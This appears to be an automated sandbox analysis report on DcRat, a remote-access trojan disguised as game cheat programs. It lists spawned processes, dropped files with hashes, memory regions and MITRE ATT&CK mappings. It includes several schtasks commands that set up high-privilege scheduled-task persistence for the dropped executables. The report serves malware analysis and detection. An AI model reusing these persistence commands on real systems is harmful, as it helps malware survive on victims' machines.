        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1028
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 13 /tr "'C:\blockweb\audiodg.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2472
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Music\smss.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2348
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default\Music\smss.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1776
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Music\smss.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2968

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Persistence

      Boot or Logon Autostart Execution

      2
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Winlogon Helper DLL

      1
      T1547.004

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Privilege Escalation

      Boot or Logon Autostart Execution

      2
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Winlogon Helper DLL

      1
      T1547.004

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Defense Evasion

      Impair Defenses

      2
      T1562

      Disable or Modify Tools

      1
      T1562.001

      Modify Registry

      5
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      1
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Lateral Movement

      Collection

      Command and Control

      Exfiltration

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Cab2F2D.tmp
        Filesize

        70KB

        MD5

        49aebf8cbd62d92ac215b2923fb1b9f5

        SHA1

        1723be06719828dda65ad804298d0431f6aff976

        SHA256

        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

        SHA512

        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Tar2F4F.tmp
        Filesize

        181KB

        MD5

        4ea6026cf93ec6338144661bf1202cd1

        SHA1

        a1dec9044f750ad887935a01430bf49322fbdcb7

        SHA256

        8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

        SHA512

        6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\lOSdCwEz9c.bat
        Filesize

        188B

        MD5

        d317c26f8d31f3fc7900408af5583191

        SHA1

        32a0d2367d05ae6fbed6fbe2e98c49840571d37f

        SHA256

        3358967778e704ef9ede5e12d2bb710b001181161e4d138233940c44b870f34e

        SHA512

        ba88aebebc6d22225601434b467d8a9bf20b5b24045e33ad923cb43f54063d3b9d5686a3d117cca68d5f17db2a6f63aa7d2c0f03677a7b31b516b3a03821f2b0

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\windows defender.bat
        Filesize

        3KB

        MD5

        4c35b71d2d89c8e8eb773854085c56ea

        SHA1

        ede16731e61348432c85ef13df4beb2be8096d9b

        SHA256

        3efeeaaabfd33ff95934bee4d6d84e4ecb158d1e7777f6eecd26b2746991ed42

        SHA512

        a6ccbb2913738ca171686a2dd70e96330b0972dadb64f7294ac2b4c9bb430c872ed2bcd360f778962162b9e3be305836fa7f6762b46310c0ad4d6ef0c1cdac8d

        Download Submit

      • C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe
        Filesize

        221B

        MD5

        ca2cae3c10113fc32484a48196e2ffaa

        SHA1

        8eb74a53fe655c5b538246f42cc078d8900bf215

        SHA256

        98311058614dd00a0d0e9e9c38f9df5d1d951525741fc46901d1a396baddd8f2

        SHA512

        6cf05ca56f4c6320bc490401e742f81230e6c138651d958776f497d5e4889fe16c5853a1864791a3f10b4b3d103f5218894be4c7009d1eb7b32e243111b166af

        Download Submit

      • C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat
        Filesize

        39B

        MD5

        19fe83feec263d4e4e68e3dd0e6b3615

        SHA1

        7ff948a654d54acfde0e798fe1d67160343f8dfd

        SHA256

        07dc5ed69f4847071b41d0086ef8a11032c2d85b1ec8a8b00a5d29480c3e6744

        SHA512

        ee6fef4211b60dff50b7cdb88f9ec0028a67bc428ab854c0932db7e5873f9a22e16760d59ff6b885fdb96ed7f6582d3735f629d6e825dcfd1e8c13c5d5adae78

        Download Submit

      • C:\blockweb\file.vbs
        Filesize

        34B

        MD5

        677cc4360477c72cb0ce00406a949c61

        SHA1

        b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

        SHA256

        f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

        SHA512

        7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

        Download Submit

      • \Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
        Filesize

        229KB

        MD5

        06129ffc46e854930cfcaa754ca1d487

        SHA1

        e7c173c48aa107ec63bd6f9030c9ec6fe889d832

        SHA256

        10d28e18a7df4b2c30e05e5e361f1724e0b6ea8c021d8105ee30354be79b98d1

        SHA512

        b7121a2a65f317edbc1b4dd8dec427c277fad2b521a211d1408bc06b79431c418dad32ed61481c5ef49511cd167846e026a86147ae77bd9b0e607918feb66ab9

        Download Submit

      • \Users\Admin\AppData\Local\Temp\DCRatBuild.exe
        Filesize

        2.5MB

        MD5

        6e01d4882274684f48e04436103ad57f

        SHA1

        3b88df5fc9e6973bf3ecb1e2ed759b86774cb290

        SHA256

        424497764bc1e2cd57f454d173dceeb9dcd7f900aaf5060110da629d11fadf8d

        SHA512

        3e5ed6ee7458f4662dd9bbe572620fc591e69fbc6d8e98013ec0f39a95eb9da55561a232eea23192fbc59368b99f99ee6a00df23bcff253c327aa3eb607c7d7e

        Download Submit

      • \Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
        Filesize

        7.5MB

        MD5

        b76057df968a944446f950dd4ddc6aec

        SHA1

        bb64de1c677368764000d34c29528ead2f48405c

        SHA256

        afe91fea04d39de5710ad065252d13b9df7b7bd25788ddf5afb162a2f0a03296

        SHA512

        7f45198fe05013ceab477784bde2b1c4532607bd8ba8d9cfb09c5bb037dd2616086c8cb3afd669b24ec89eedbd270d00f1bd6bce2644b40ed36b8f32fc5fdb31

        Download Submit

      • \Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
        Filesize

        12.7MB

        MD5

        7db5128f7a81cc1af094d8898e79ff21

        SHA1

        d503984331d5999c14931c267d859fbd1510c282

        SHA256

        2952fa4ab9bc3e2b04b1f3ab6b648d0d23fa74856c50bf21fb13fddfe9a874bb

        SHA512

        caceec284b71df124d47267e5ca42bf84e558aa9606b0186f132fba8d2bead2ddbd9304cd82761270b6c42271e0937aeff605ef5d865c424cc29b39ca05b123a

        Download Submit

      • \blockweb\portrefNet.exe
        Filesize

        2.2MB

        MD5

        84c6cb042dc58a109dfa2db8381bec28

        SHA1

        4a86e72e9d2c3e0c17cd3a09df754169f4b7ce31

        SHA256

        2e09ed806f9a7c57186872ab3715909437e2729500bc194e0a2cf3405c4cd5f0

        SHA512

        c8ef31a3eaeac8ef0faa043d0bdd085063d54572d0a7eefade08a9db5f97c397bb3270baca71817da9d91c0d1227fcee9ce019065bb5a66f20fed9d7349ab0ef

        Download Submit

      • memory/336-145-0x00000000003D0000-0x00000000003EC000-memory.dmp

        Filesize

        112KB

        Download

      • memory/336-150-0x00000000008E0000-0x00000000008E8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/336-144-0x0000000000910000-0x0000000000B4A000-memory.dmp

        Filesize

        2.2MB

        Download

      • memory/336-146-0x0000000000470000-0x0000000000486000-memory.dmp

        Filesize

        88KB

        Download

      • memory/336-147-0x0000000002170000-0x00000000021C6000-memory.dmp

        Filesize

        344KB

        Download

      • memory/336-148-0x0000000000490000-0x000000000049E000-memory.dmp

        Filesize

        56KB

        Download

      • memory/336-149-0x00000000004A0000-0x00000000004A8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/1208-134-0x0000000000E20000-0x0000000000E60000-memory.dmp

        Filesize

        256KB

        Download

      • memory/1680-17-0x0000000000400000-0x00000000010BB000-memory.dmp

        Filesize

        12.7MB

        Download

      • memory/2108-47-0x0000000000280000-0x0000000000281000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-52-0x0000000001B70000-0x0000000001B71000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-22-0x00000000001B0000-0x00000000001B1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-25-0x00000000001C0000-0x00000000001C1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-20-0x00000000001B0000-0x00000000001B1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-59-0x0000000001B80000-0x0000000001B81000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-60-0x0000000000400000-0x0000000001B6B000-memory.dmp

        Filesize

        23.4MB

        Download

      • memory/2108-57-0x0000000001B80000-0x0000000001B81000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-55-0x0000000001B80000-0x0000000001B81000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-54-0x0000000001B70000-0x0000000001B71000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-24-0x00000000001B0000-0x00000000001B1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-50-0x0000000001B70000-0x0000000001B71000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-27-0x00000000001C0000-0x00000000001C1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-29-0x00000000001C0000-0x00000000001C1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-32-0x00000000001D0000-0x00000000001D1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-34-0x00000000001D0000-0x00000000001D1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-37-0x0000000000260000-0x0000000000261000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-39-0x0000000000260000-0x0000000000261000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-42-0x0000000000270000-0x0000000000271000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-44-0x0000000000270000-0x0000000000271000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2108-49-0x0000000000280000-0x0000000000281000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-73-0x0000000000220000-0x0000000000221000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-75-0x0000000000220000-0x0000000000221000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-78-0x0000000000230000-0x0000000000231000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-80-0x0000000000230000-0x0000000000231000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-83-0x0000000000240000-0x0000000000241000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-85-0x0000000000240000-0x0000000000241000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-88-0x00000000003D0000-0x00000000003D1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2652-90-0x00000000003D0000-0x00000000003D1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2864-196-0x0000000000E40000-0x000000000107A000-memory.dmp

        Filesize

        2.2MB

        Download